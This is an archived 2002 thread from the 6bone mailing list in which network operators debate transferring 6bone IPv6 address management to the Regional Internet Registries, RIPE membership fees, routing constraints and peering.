> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From joao@ripe.net Fri Aug 23 09:48:24 2002
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Date: Fri, 23 Aug 2002 18:48:11 +0200
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] proposal for transfer of 6bone address management
 responsibilities to RIRs
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At 18:37 +0200 23/8/02, JORDI PALET MARTINEZ wrote:
>Joao,
>
>I know this is hard to say, but I fully agree with Francis.
>
>We already had this discussion some time ago (12th September in 
>Barcelona Task Force meeting).

Yes, I remember some "interesting" proposals in that meeting.

>One of the ways to promote IPv6 will be getting the address for free 
>or for a REAL cost.

Interesting concept. I never thought of address space as having a price tag.

>I'm sure we can look alternative ways to delegate address space not 
>involving so high memberships.

High as in: it is less than the Cisco 2500 in which you want to do the tests?

>And I'm ABSOLUTELY convinced it can be DONE with a lower price. I 
>will prefer to be charged by each of the services provided by the
>RIR (that I need to pay nevertheless I use or not), instead of a 
>single annual fee, with has only two levels.

Ok, I think I will leave that one for the members of the RIRs.

>That is causing the ISPs making REAL business with the address space 
>(and I know you can say they charge for the services, but we
>can force them to provide this free of charge and charge for OTHER 
>real services). The IPv6 address space MUST be a global resource,
>available for FREE.

IPv4 address space is available for free. You pay for the cost of 
registration, DNS, whois, et,c not for the addresses.

>I always say IPv6 is FREEDOM, and following the same rule as in 
>IPv4, it WILL NOT BE.

Not quite sure what you mean by this.

>If there is any proposal to delegate the IPv6 address space in some 
>other way, to avoid this situation, I will volunteer to work in
>that.

I beg your pardon. Have you attended the lir-wg at the RIPE meetings 
recently (or read the mailing list)?

Joao

From jordi.palet@consulintel.es Fri Aug 23 10:05:03 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Joao,

My point is competition. Next is an example, don't take me wrong.

We are, in the case of Europe, mandated to get our prefix allocated by RIPE.

That means that I'm subjected, I like it or not, to the RIPE rules, that not always are good for ALL the people.

For example, may be I don't need some of the services, but I need to pay the same fee as a bigger ISP.

My idea is to separate all these services from the REAL cost of the address delegation.

For example, consider a world where you have more competition and you can pay for this "delegation service" (not the address space)
from a number of entities, like in the case of a domain registration.

I'm sure the competition will keep the price down !

About the freedom, having address space for everyone means freedom, not subjected to NATs, and so on. But if this is not really
going to happen, the situation will be the same as today with IPv4. May be is a too much personal view ;-)

Regards,
Jordi

PS: I don't follow all the RIPE mailing list, not enough time for doing all what I will like to do ! If there is anything specific
on this subject, can you point me to the message thread, please ?

----- Original Message -----
From: "Joao Luis Silva Damas" <joao@ripe.net>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>; <6bone@ISI.EDU>
Sent: Friday, August 23, 2002 6:48 PM
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs


> At 18:37 +0200 23/8/02, JORDI PALET MARTINEZ wrote:
> >Joao,
> >
> >I know this is hard to say, but I fully agree with Francis.
> >
> >We already had this discussion some time ago (12th September in
> >Barcelona Task Force meeting).
>
> Yes, I remember some "interesting" proposals in that meeting.
>
> >One of the ways to promote IPv6 will be getting the address for free
> >or for a REAL cost.
>
> Interesting concept. I never thought of address space as having a price tag.
>
> >I'm sure we can look alternative ways to delegate address space not
> >involving so high memberships.
>
> High as in: it is less than the Cisco 2500 in which you want to do the tests?
>
> >And I'm ABSOLUTELY convinced it can be DONE with a lower price. I
> >will prefer to be charged by each of the services provided by the
> >RIR (that I need to pay nevertheless I use or not), instead of a
> >single annual fee, with has only two levels.
>
> Ok, I think I will leave that one for the members of the RIRs.
>
> >That is causing the ISPs making REAL business with the address space
> >(and I know you can say they charge for the services, but we
> >can force them to provide this free of charge and charge for OTHER
> >real services). The IPv6 address space MUST be a global resource,
> >available for FREE.
>
> IPv4 address space is available for free. You pay for the cost of
> registration, DNS, whois, et,c not for the addresses.
>
> >I always say IPv6 is FREEDOM, and following the same rule as in
> >IPv4, it WILL NOT BE.
>
> Not quite sure what you mean by this.
>
> >If there is any proposal to delegate the IPv6 address space in some
> >other way, to avoid this situation, I will volunteer to work in
> >that.
>
> I beg your pardon. Have you attended the lir-wg at the RIPE meetings
> recently (or read the mailing list)?
>
> Joao
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From Francis.Dupont@enst-bretagne.fr Fri Aug 23 10:16:39 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Bob Fink <fink@es.net>
cc: Joao Luis Silva Damas <joao@ripe.net>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs 
In-reply-to: Your message of Fri, 23 Aug 2002 09:23:43 PDT.
             <5.1.0.14.0.20020823091857.00b5b5f8@imap2.es.net> 
Date: Fri, 23 Aug 2002 19:16:22 +0200
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 In your previous mail you wrote:

   >>>  "Organizations approved for receiving the standard /35 initial IPv6
   >>>  allocation will be charged an annual fee of $2,500 (US). For larger
   >>>  amounts of addresses, a fee of $20,000 (US) will be assessed.

=> unfortunately this is not true (or still false).

   >True, and the membership fees are purely based on cost recovery for the 
   >services as the RIPE NCC is non-profit organisation. One of the things 
   >that troubles me in Bob proposal is the mention of "minimal cost", unless 
   >that means the usual membership fee of course.
   
   It means keeping the cost low to reflect actual cost of the service 
   provided, which for the 6bone would be less than normal IPv4 allocation 
   activity. However, the fee would have to be specific to the RIR as all the 
   RIRs have their different rules/policies/procedures/culture/...
   
=> I believe you (Bob and Joao) are not talking about the same thing
and we (6bone community) shall fall into the "low fee" problem if
we agree to apply the transfer proposal.
BTW the enterprise/small LIR fees at 1800 euros per year (far more
than for a DNS entry for instance, i.e., far too much for the 6bone
community).

Regards

Francis.Dupont@enst-bretagne.fr

From Francis.Dupont@enst-bretagne.fr Fri Aug 23 10:23:01 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs 
In-reply-to: Your message of Fri, 23 Aug 2002 18:37:01 +0200.
             <08cd01c24ac3$4f547b50$8700000a@consulintel.es> 
Date: Fri, 23 Aug 2002 19:22:44 +0200
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 In your previous mail you wrote:

   One of the ways to promote IPv6 will be getting the address for
   free or for a REAL cost.
   
=> but we still need a good solution to the tiny fee issue:
to reverse the common "if this is free then this will cost nothing"
statement, to collect tiny fees is so expensive that a large part
of fees is for the collecting process.

   instead of a single annual fee, with has only two levels.

=> three if member == LIR.
   
Thanks

Francis.Dupont@enst-bretagne.fr

From joao@ripe.net Fri Aug 23 10:26:26 2002
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Date: Fri, 23 Aug 2002 19:26:12 +0200
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] proposal for transfer of 6bone address management
 responsibilities to RIRs
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Jordi,

At 19:07 +0200 23/8/02, JORDI PALET MARTINEZ wrote:
...

>About the freedom, having address space for everyone means freedom, 
>not subjected to NATs, and so on.

Hey, I agree with this! :-)

...

>Regards,
>Jordi
>
>PS: I don't follow all the RIPE mailing list, not enough time for 
>doing all what I will like to do ! If there is anything specific
>on this subject, can you point me to the message thread, please ?

Oh, just the discussion out in the open about the IPv6 allocation 
policy. I think agreement was reached in May, so pick that thread 
from the archives. It went on for some time.

From nicolas.deffayet@ndsoftware.net Fri Aug 23 10:42:49 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>
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On Fri, 2002-08-23 at 18:37, JORDI PALET MARTINEZ wrote:

> One of the ways to promote IPv6 will be getting the address for free or for a REAL cost.

Agree.

> I'm sure we can look alternative ways to delegate address space not involving so high memberships.
> 
> And I'm ABSOLUTELY convinced it can be DONE with a lower price. I will prefer to be charged by each of the services provided by the
> RIR (that I need to pay nevertheless I use or not), instead of a single annual fee, with has only two levels.

It can be done with NO charges.
 
> That is causing the ISPs making REAL business with the address space (and I know you can say they charge for the services, but we
> can force them to provide this free of charge and charge for OTHER real services). The IPv6 address space MUST be a global resource,
> available for FREE.
> I always say IPv6 is FREEDOM, and following the same rule as in IPv4, it WILL NOT BE.
> 

I think that it can be a good idea to not allow the business of IPs.

Best Regards,

Nicolas DEFFAYET


From joao@ripe.net Fri Aug 23 10:51:09 2002
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Date: Fri, 23 Aug 2002 19:50:58 +0200
To: <6bone@ISI.EDU>
From: Joao Luis Silva Damas <joao@ripe.net>
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Subject: [6bone] Where I stand
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Just to clarify my position:

I *DO* want IPv6 to suceed.
I *DO* believe the RIR communities, with the RIRs as secretariats, 
are the way to go in address allocation. The coordination performed 
in this context over the last years has proved this beyond any doubt

IPv6 is deployable right now.

While our last exchange of mails was going on I have been using my 
time to put together a name server at 2001:610:240::193:0:0:193. Some 
of you will notice the coincidence of some parts of this address with 
other nameserver's address.

This is just a quick provisional thing (for today, as it is getting 
late here in Europe). This stuff is running on an Apple Xserve 
running stock Mac OS X 10.2 using bind 9.2.1.

IPv6 is deployable.

have a good night

Joao

From randy@psg.com Fri Aug 23 10:56:50 2002
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> One of the ways to promote IPv6 will be getting the address for
> free or for a REAL cost.

i think i understand now.  the 6bone is a marketing network too,
and address space should be given for r&e and marketing efforts?

randy


From bmanning@ISI.EDU Fri Aug 23 11:09:11 2002
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Subject: Re: [6bone] Where I stand
In-Reply-To: <p05111716b98c25497af9@[193.0.1.186]> from Joao Luis Silva Damas at "Aug 23, 2 07:50:58 pm"
To: joao@ripe.net (Joao Luis Silva Damas)
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% While our last exchange of mails was going on I have been using my 
% time to put together a name server at 2001:610:240::193:0:0:193. Some 
% of you will notice the coincidence of some parts of this address with 
% other nameserver's address.
% 
% This is just a quick provisional thing (for today, as it is getting 
% late here in Europe). This stuff is running on an Apple Xserve 
% running stock Mac OS X 10.2 using bind 9.2.1.

	Yeah!  will this be a functional replacement for ::ffff:193.0.0.193

	(for the latecomers, the above may have been the first nameserver
	with a published v6 address (yes, its a mapped address and we know
	now that sticking mapped addresses in the DNS is a recipe for 
	disaster))

	I've been waiting for a bit over a year for RIPE to put a v6 server
	back online.  Thanks again.
	
-- 
--bill

From nicolas.deffayet@ndsoftware.net Fri Aug 23 11:11:26 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
	responsibilities to RIRs
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Joao Luis Silva Damas <joao@ripe.net>
Cc: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>, 6bone@ISI.EDU
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On Fri, 2002-08-23 at 18:48, Joao Luis Silva Damas wrote:
> At 18:37 +0200 23/8/02, JORDI PALET MARTINEZ wrote:
>
> >I'm sure we can look alternative ways to delegate address space not 
> >involving so high memberships.
> 
> High as in: it is less than the Cisco 2500 in which you want to do the tests?

I know many LIR who use only PC with Zebra...

Be LIR is not easy with the hight setup fees the first year.
Don't forgot that the first year a ISP have a lot of setup fees (IP
transit, hosting,...)

I think that RIPE can do this:

6bone       EUR 50   / year - Start-up fee EUR 50
Very small  EUR 1000 / year - Start-up fee EUR 1000
Small       EUR 1800 / year - Start-up fee EUR 1800
Medium      EUR 2500 / year - Start-up fee EUR 2500
Large       EUR 3400 / year - Start-up fee EUR 3400


I think that the fee of EUR 1000 / year for be LIR is good for a very
small ISP or non-profit organization.

Best Regards,

Nicolas DEFFAYET


From jordi.palet@consulintel.es Fri Aug 23 11:18:53 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
References: <20020822231428.I27015@Space.Net><Pine.LNX.4.21.0208221910410.2629-100000@Overkill.EnterZone.Net><20020823092729.L27015@Space.Net><p0511170cb98c0aec4cfa@[193.0.1.186]><08cd01c24ac3$4f547b50$8700000a@consulintel.es><1030124672.672.236.camel@wks1.fr.corp.ndsoftware.com> <E17iIfn-000Iu5-00@rip.psg.com>
Subject: Re: [6bone] proposal for transfer of 6bone address managementresponsibilities to RIRs
Date: Fri, 23 Aug 2002 20:21:25 +0200
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It was not my point.

I'm talking in general about the RIRs, not 6Bone.

The discussion started because the transfer of 6bone address to RIRs, and in principle I'm in favor of that, but only if the correct
strategy for the right IPv6 deployment is adopted by the RIRs ;-)

Regards,
Jordi

----- Original Message -----
From: "Randy Bush" <randy@psg.com>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Cc: <6bone@ISI.EDU>
Sent: Friday, August 23, 2002 7:56 PM
Subject: Re: [6bone] proposal for transfer of 6bone address managementresponsibilities to RIRs


> > One of the ways to promote IPv6 will be getting the address for
> > free or for a REAL cost.
>
> i think i understand now.  the 6bone is a marketing network too,
> and address space should be given for r&e and marketing efforts?
>
> randy
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From randy@psg.com Fri Aug 23 12:01:44 2002
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>> i think i understand now.  the 6bone is a marketing network too,
>> and address space should be given for r&e and marketing efforts?
> The discussion started because the transfer of 6bone address to RIRs, and in
> principle I'm in favor of that, but only if the correct strategy for the
> right IPv6 deployment is adopted by the RIRs ;-)

ahh, now i understand even better.  the 6bone is for r&e, marketing,
and internet politics to fix everything we don't like about everything.
a noble set of goals for just having more address bits.  i am impressed
but not optimistic.

randy


From gert@Space.Net Fri Aug 23 12:23:03 2002
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hi,

On Fri, Aug 23, 2002 at 06:37:01PM +0200, JORDI PALET MARTINEZ wrote:
> IPv6 address space MUST be a global resource,
> available for FREE.

While this is a nice idea - from the global *routing* perspective, you do
certainly *NOT* want "everybody and their friends" to be able to get 
their own globally visible address block.

Right now, it's important to push IPv6, but in the long run, I *want*
restrictions on "who can get IPv6 blocks from the RIR".

> I always say IPv6 is FREEDOM, and following the same rule as in IPv4, 
> it WILL NOT BE.

There are certain technical constraints that you can't argue away.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46611  (45583)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Fri Aug 23 12:44:26 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Joao Luis Silva Damas <joao@ripe.net>
cc: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
Subject: Re: [6bone] proposal for transfer of 6bone address management
 responsibilities to RIRs
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I think it would be interesting to make an analysis:

1) how many 6bone pTLA's are already members of ARIN/RIPE/APNIC
 1.a) already have a production allocation, or
 1.b) would be eligible for production allocation by the new rules

So is this problem only with a few pTLA's which really shouldn't be pTLA's 
in the first place or a real problem.

On 23 Aug 2002, Nicolas DEFFAYET wrote:

> On Fri, 2002-08-23 at 18:48, Joao Luis Silva Damas wrote:
> > At 18:37 +0200 23/8/02, JORDI PALET MARTINEZ wrote:
> >
> > >I'm sure we can look alternative ways to delegate address space not 
> > >involving so high memberships.
> > 
> > High as in: it is less than the Cisco 2500 in which you want to do the tests?
> 
> I know many LIR who use only PC with Zebra...
> 
> Be LIR is not easy with the hight setup fees the first year.
> Don't forgot that the first year a ISP have a lot of setup fees (IP
> transit, hosting,...)
> 
> I think that RIPE can do this:
> 
> 6bone       EUR 50   / year - Start-up fee EUR 50
> Very small  EUR 1000 / year - Start-up fee EUR 1000
> Small       EUR 1800 / year - Start-up fee EUR 1800
> Medium      EUR 2500 / year - Start-up fee EUR 2500
> Large       EUR 3400 / year - Start-up fee EUR 3400
> 
> 
> I think that the fee of EUR 1000 / year for be LIR is good for a very
> small ISP or non-profit organization.
> 
> Best Regards,
> 
> Nicolas DEFFAYET
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Nicolas DEFFAYET (nicolas.deffayet@ndsoftware.net) wrote:
> On Fri, 2002-08-23 at 18:37, JORDI PALET MARTINEZ wrote:
> 
> > One of the ways to promote IPv6 will be getting the address for free or for a REAL cost.
> 
> Agree.

Also i strongly agree.

The original idea from RIPE (the "old" requirements for getting RIR IPv6
Allocations) was really good.

To outline it: to get real address space IPV6-blocks , you have to have 6bone address
space first and also a decent amount of time.

Some slight modification of this applied with the current policy WOULD
be better than the _now active_ policy. (but that's my opinion, anyway).

Another point on the whole discussion about productive systems + r&d
(e.g. 6bone).

Why not follow up on the following idea:

	- setup production networks
	- interconnect them to 6bone, but set the local-pref for the
	  routes lower than the production addresses.
	- apply strong filter towards the 6bone peers.

I am using this scenario at my ISP and i didn't have a single problem
with it.

> > And I'm ABSOLUTELY convinced it can be DONE with a lower price. I will prefer to be charged by each of the services provided by the
> > RIR (that I need to pay nevertheless I use or not), instead of a single annual fee, with has only two levels.
> 
> It can be done with NO charges.

NO charges is too low. either raise the cost for ipv4 and lower these
for ipv6. Money must be involved - otherwise it would not work, because
otherwise there is no real _need_ (from the view of the big company
bozos) to change addresses or ipv4 to ipv6. 


> > can force them to provide this free of charge and charge for OTHER real services). The IPv6 address space MUST be a global resource,

agree on this. 

> > I always say IPv6 is FREEDOM, and following the same rule as in IPv4, it WILL NOT BE.

Well - the market will regulate. But we should be aware that the market
may go in other directions we want to. We ("the ISPS") are mainly having
it in our own hands.


> I think that it can be a good idea to not allow the business of IPs.

Also Agree on this !


--jan



-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From jordi.palet@consulintel.es Fri Aug 23 13:28:33 2002
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Hi Gert,

No this wasn't my point. Sorry not to make it clear before.

I'm not talking about a "regular" individual, as they will get it from the ISP, and the market is plenty of a good competition to
regulate it. Nevertheless, this is IPv4 world, and I'm not quite sure if we will get the same case with IPv6 ;-)

I'm talking about an SME or corporate, that may not need to work with an ISP, because they can need direct connectivity to a Telco.
They may qualify for a prefix, but they don't want to become a LIR, why they don't have the right to get a prefix. The case is
difficult to see now, because the IPv4 restrictions, but I'm sure it will happen more and more with IPv6.

Regards,
Jordi

----- Original Message -----
From: "Gert Doering" <gert@space.net>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Cc: <6bone@ISI.EDU>
Sent: Friday, August 23, 2002 9:22 PM
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs


> hi,
>
> On Fri, Aug 23, 2002 at 06:37:01PM +0200, JORDI PALET MARTINEZ wrote:
> > IPv6 address space MUST be a global resource,
> > available for FREE.
>
> While this is a nice idea - from the global *routing* perspective, you do
> certainly *NOT* want "everybody and their friends" to be able to get
> their own globally visible address block.
>
> Right now, it's important to push IPv6, but in the long run, I *want*
> restrictions on "who can get IPv6 blocks from the RIR".
>
> > I always say IPv6 is FREEDOM, and following the same rule as in IPv4,
> > it WILL NOT BE.
>
> There are certain technical constraints that you can't argue away.
>
> Gert Doering
>         -- NetMaster
> --
> Total number of prefixes smaller than registry allocations:  46611  (45583)
>
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



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On Fri, Aug 23, 2002 at 09:22:58PM +0200, Gert Doering wrote:
> 
> While this is a nice idea - from the global *routing* perspective, you do
> certainly *NOT* want "everybody and their friends" to be able to get 
> their own globally visible address block.
> 
> Right now, it's important to push IPv6, but in the long run, I *want*
> restrictions on "who can get IPv6 blocks from the RIR".

I think this is true.  Another question is what the smaller ISPs and end
usrs end up paying, at the bottom of the food chain.   At present a static 
IPv4 address for DSL can be of the order of 15 Euros, for those who don't 
want to use DDNS.   What price a static IPv6 /48 prefix to the home?

Tim

From gert@Space.Net Fri Aug 23 13:41:02 2002
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Hi,

On Fri, Aug 23, 2002 at 10:03:56PM +0200, Jan Czmok wrote:
> Why not follow up on the following idea:
> 
> 	- setup production networks
> 	- interconnect them to 6bone, but set the local-pref for the
> 	  routes lower than the production addresses.
> 	- apply strong filter towards the 6bone peers.
> 
> I am using this scenario at my ISP and i didn't have a single problem
> with it.

So you were not affected by the lingering /35s that stayed around after
people withdrew them and announced their /32?  

Amazing, will have to look into this more closely.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46611  (45583)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From randy@psg.com Fri Aug 23 13:45:56 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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i thought the 6bone was an ietf experimental network to test v6.
i did not think it was an ietf effort to tell rirs, telcos, isps,
enterprises, end users, etc. how to run their business or lives.
that way lies lawyers.

randy


From nicolas.deffayet@ndsoftware.net Fri Aug 23 14:05:51 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
	responsibilities to RIRs
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: 6bone@ISI.EDU
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On Fri, 2002-08-23 at 22:28, Tim Chown wrote:
> On Fri, Aug 23, 2002 at 09:22:58PM +0200, Gert Doering wrote:
> > 
> > While this is a nice idea - from the global *routing* perspective, you do
> > certainly *NOT* want "everybody and their friends" to be able to get 
> > their own globally visible address block.
> > 
> > Right now, it's important to push IPv6, but in the long run, I *want*
> > restrictions on "who can get IPv6 blocks from the RIR".
> 
> I think this is true.  Another question is what the smaller ISPs and end
> usrs end up paying, at the bottom of the food chain.   At present a static 
> IPv4 address for DSL can be of the order of 15 Euros, for those who don't 
> want to use DDNS.   What price a static IPv6 /48 prefix to the home?
> 

At home i have a DSL connexion, with it i have a free static IPv4
address and a free IPv6 /48....

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Fri Aug 23 15:43:44 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Pekka Savola <pekkas@netcore.fi>
cc: Gert Doering <gert@space.net>,
   Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
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Subject: Re: [6bone] separating IPv6 experimental from production traffic
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On Fri, 23 Aug 2002, Pekka Savola wrote:

> > Of course.  But if you have *enough* peerings, you'll be able to reach
> > most networks in a maximum of 2 hops - and if you then apply some 
> > MED fiddling to mark "slow" tunnels, you can achieve pretty good results.
> 
> This leads to an "arms race"; everyone will need to get even more tunnels, 
> leading to even tighter spaghetti.

No.  People who want tighter peering will seek it.  People who don't will
settle for what they have.  High peer counts does NOT mean bad
connectivity.  Peering with some joker on a 56K modem who then leaks a
full table to you (and you accept it) leads to bad connectivity.

> 
> I don't think having to do manual fiddling should be necessary, but that's 
> life I suppose.

I guess you're not the v4 peering person for your network then.  In v4
land, manual tuning is rather commonplace.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From chuck@snew.com Fri Aug 23 17:30:03 2002
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Quoting John Fraizer (tvo@EnterZone.Net):
> On Fri, 23 Aug 2002, Pekka Savola wrote:
> > > Of course.  But if you have *enough* peerings, you'll be able to reach
> > > most networks in a maximum of 2 hops - and if you then apply some 
> > > MED fiddling to mark "slow" tunnels, you can achieve pretty good results.
> > 
> > This leads to an "arms race"; everyone will need to get even more tunnels, 
> > leading to even tighter spaghetti.
>
> No.  People who want tighter peering will seek it.  People who don't will
> settle for what they have.  High peer counts does NOT mean bad
> connectivity.  Peering with some joker on a 56K modem who then leaks a
> full table to you (and you accept it) leads to bad connectivity.

"People."

You mean "people" like me who want my rather large telco monopoly
ISP to offer IPv6 (or hell, consistent service).  No, "people" do
not have a lot of influence.  ISPs and large business do.  When 
Ford requires IPv6 access to their partners and contractors, ISPs
will leap to fill that need.  When PacBell starts offering IPv6 on
their backbone, customers can start to ask for it.  The customers
aren't going to cause PBI to start offering it.

Who else?  When SMS/WAP2/PalmTop-based Web providers start
doing direct connections via IPv6 and there's a clear advantage
to talking to these folks via IPv6, we'll start to see it
deployed quicker.

If we see a disruptive technology that demands it, it will
get here quicker.  My thoughts are that cell phones and their
palmtop computer equivalents may be that.  Verizon isn't going
to give out 2,000,000 IP addresses.  NATTING and gatewaying
become a burden.  Also IP aware appliances jump in - set top
boxes, etc.


Until then, it will come out slowly.  Trading floors will start
to roll it out on their backbones and maybe some segments, cause
it's a little quicker and it offers advantages they want.  It
will appear is small isolated spots.

Hey!  If my backbone has it and the folks I'm subcontracting web
development to also do, then we can join our nets together.


In the non-US part of the world, I see adoption happening more
quickly because there's more demand.  There's a LOT of network
space in the US.  There's a LOT less in other parts of the world
(and a lot more need in the next 10 years).


It could all change if the big backbones started offering it native.
I think they are busy trying to not to disappear, here in the US
technology nuclear winter.

From tvo@EnterZone.Net Fri Aug 23 18:18:14 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Chuck Yerkes <chuck+6bone@snew.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] tighter mesh and accelerating IPv6
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On Fri, 23 Aug 2002, Chuck Yerkes wrote:

> Quoting John Fraizer (tvo@EnterZone.Net):
> > On Fri, 23 Aug 2002, Pekka Savola wrote:
> > > > Of course.  But if you have *enough* peerings, you'll be able to reach
> > > > most networks in a maximum of 2 hops - and if you then apply some 
> > > > MED fiddling to mark "slow" tunnels, you can achieve pretty good results.
> > > 
> > > This leads to an "arms race"; everyone will need to get even more tunnels, 
> > > leading to even tighter spaghetti.
> >
> > No.  People who want tighter peering will seek it.  People who don't will
> > settle for what they have.  High peer counts does NOT mean bad
> > connectivity.  Peering with some joker on a 56K modem who then leaks a
> > full table to you (and you accept it) leads to bad connectivity.
> 
> "People."
> 
> You mean "people" like me who want my rather large telco monopoly
> ISP to offer IPv6 (or hell, consistent service).  No, "people" do
> not have a lot of influence.  ISPs and large business do.  When 
> Ford requires IPv6 access to their partners and contractors, ISPs
> will leap to fill that need.  When PacBell starts offering IPv6 on
> their backbone, customers can start to ask for it.  The customers
> aren't going to cause PBI to start offering it.


No.  I mean "people" like those in charge of peering for ANY site.  If a
site wants to have tight peering (tunnels or native), they will seek
it.  Otherwise, they will settle for the peers (or static routing) that
they have.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From Christopher.Malayter@tdstelecom.com Fri Aug 23 23:15:48 2002
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>No.  I mean "people" like those in charge of peering for ANY site.  If a
>site wants to have tight peering (tunnels or native), they will seek
>it.  Otherwise, they will settle for the peers (or static routing) that
>they have.


Many of us try to gain closer peering relationships with other carriers.
Even in relation to ipv6 peering with larger Tier2 providers is next to
impossible.  Most of them have prohibitive barriers keeping smaller
carriers, such as the one that employes me, from peering with them.  It
would be ideal if everyone could peer with everyone, but then, why would the
Tier1's need to exist? :)

-Chris

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


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From gert@Space.Net Sat Aug 24 00:23:34 2002
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From: Gert Doering <gert@space.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Hi,

On Fri, Aug 23, 2002 at 09:28:44PM +0100, Tim Chown wrote:
> On Fri, Aug 23, 2002 at 09:22:58PM +0200, Gert Doering wrote:
> > While this is a nice idea - from the global *routing* perspective, you do
> > certainly *NOT* want "everybody and their friends" to be able to get 
> > their own globally visible address block.
> > 
> > Right now, it's important to push IPv6, but in the long run, I *want*
> > restrictions on "who can get IPv6 blocks from the RIR".
> 
> I think this is true.  Another question is what the smaller ISPs and end
> usrs end up paying, at the bottom of the food chain.   At present a static 
> IPv4 address for DSL can be of the order of 15 Euros, for those who don't 
> want to use DDNS.   What price a static IPv6 /48 prefix to the home?

At least over here, the pricing for static IPv4 addresses does *not* come
from "the small ISP has to pay the price to the larger ISP" (our customers
are *not* billed by the number of IP addresses, and I know that other
LIRs do it the same way).

The extra price comes from distinguishing "ultra-low commodity products"
and "product that requires some customer-specific configuration" - the
latter should be less effort for IPv6...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46611  (45583)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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From: Tim Chown <tjc@ecs.soton.ac.uk>
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On Sat, Aug 24, 2002 at 09:23:30AM +0200, Gert Doering wrote:
> Hi,
> 
> The extra price comes from distinguishing "ultra-low commodity products"
> and "product that requires some customer-specific configuration" - the
> latter should be less effort for IPv6...

Agreed, the question is single static IPv4 IP cost vs static /48 assignment
cost.  Both have "some customer-specific configuration".   Also, I'm not 
